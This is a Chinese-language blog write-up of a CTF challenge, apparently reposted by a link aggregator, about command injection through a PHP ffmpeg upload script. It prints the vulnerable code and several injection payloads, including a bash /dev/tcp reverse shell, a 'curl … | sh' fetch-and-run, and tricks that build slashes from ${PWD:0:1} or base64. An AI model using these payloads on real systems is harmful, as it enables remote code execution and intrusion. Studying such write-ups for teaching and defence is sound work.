6

每日一问:记一次命令注入RCE

 3 years ago
source link: https://y4er.com/post/command-inject-ctf/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
1 min read

每日一问:记一次命令注入RCE

2020-07-10

在qq群里提出了一个每日一问的活动,目的是拓展渗透实战思路,问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。

模拟真实环境在群里出了一道CTF题当作每日一问,代码形如:

<?php
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
$upload_dir = 'uploads/';
$isFfmpeg = isset($_POST['isFfmpeg']) ? (boolean)($_POST['isFfmpeg']) : false;
$save = isset($_POST['save']) ? $upload_dir . $_POST['save'] : false;
$filename = isset($_FILES['filename']) ? $_FILES['filename']['name'] : false;
if ($isFfmpeg && isset($_FILES)) {
    if ($filename && $save && $_FILES['filename']["type"] == 'video/blob') {
        if (move_uploaded_file($_FILES['filename']["tmp_name"], $save)) {
            $last_line = exec("ffmpeg -i " . $save . " -hide_banner");
           // echo 'success';
        } else {
            //echo 'error';
            unlink($save);
            unlink($_FILES['filename']['tmp_name']);
        }
    }
} else {
    show_source(__FILE__);
}

环境是oneinstack的集成环境,网站目录位于/data/wwwroot/default/index.php,index.php是root权限写入的。

php文件很明确可以看出来两个洞:

  1. 任意文件上传

首先尝试任意文件上传,直接怼上去shell试试,构造请求包: image.png

访问 http://123.57.223.30/uploads/aa.php 报404,直接访问 http://123.57.223.30/uploads/ 没有这个目录,分析之后发现是move_uploaded_file的问题,当不存在uploads目录时会走else分支。

尝试跨目录../,shell应该在 http://123.57.223.30/aa.php 访问发现还是404。全站应该没有写入权限。只能走命令注入这条路了。

命令注入的关键点在于move_uploaded_file,首先找可写目录,比如/tmp/,因为不知道当前的绝对路径,我们可以用尽可能多的../跨到tmp,形如: image.png

确实可行 image.png

这样走到exec之后注入,dnslog带外 image.png

image.png

这个时候上传的文件名为 image.png

尝试常规的bash反弹shell

bash -i >& /dev/tcp/ip/8080 0>&1

发包后没收到shell,因为/的问题,在move_uploaded_file的时候会报错,走不到exec()。

这个时候就是体现姿势的时候了。群友给了几个姿势

/../../../../../tmp/xx;curl 10.10.10.10 |sh ;
../../../../../../tmp/asdfasd.sh;bash $(php -r "print(chr(47));")tmp$(php -r "print(chr(47));")a.sh;
/../../../../../tmp/xx;bash -i >& ${PWD:0:1}dev${PWD:0:1}tcp${PWD:0:1}123.57.223.30${PWD:0:1}8080 0>&1;
echo `echo Lwo=|base64 -d`tmp
  1. curl的原理是直接通过管道符执行curl的结果
  2. 先传一 image.pngimage.png

主要就是命令注入和move_uploaded_file在Linux下的绕过。回过头看Linux权限问题 image.png index.php为root所属,其他用户只有读权限,不可写。完美复现实战中碰到的苛刻环境,利用还算简单,重点是通过bash配合其他命令进行绕过特殊字符串。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK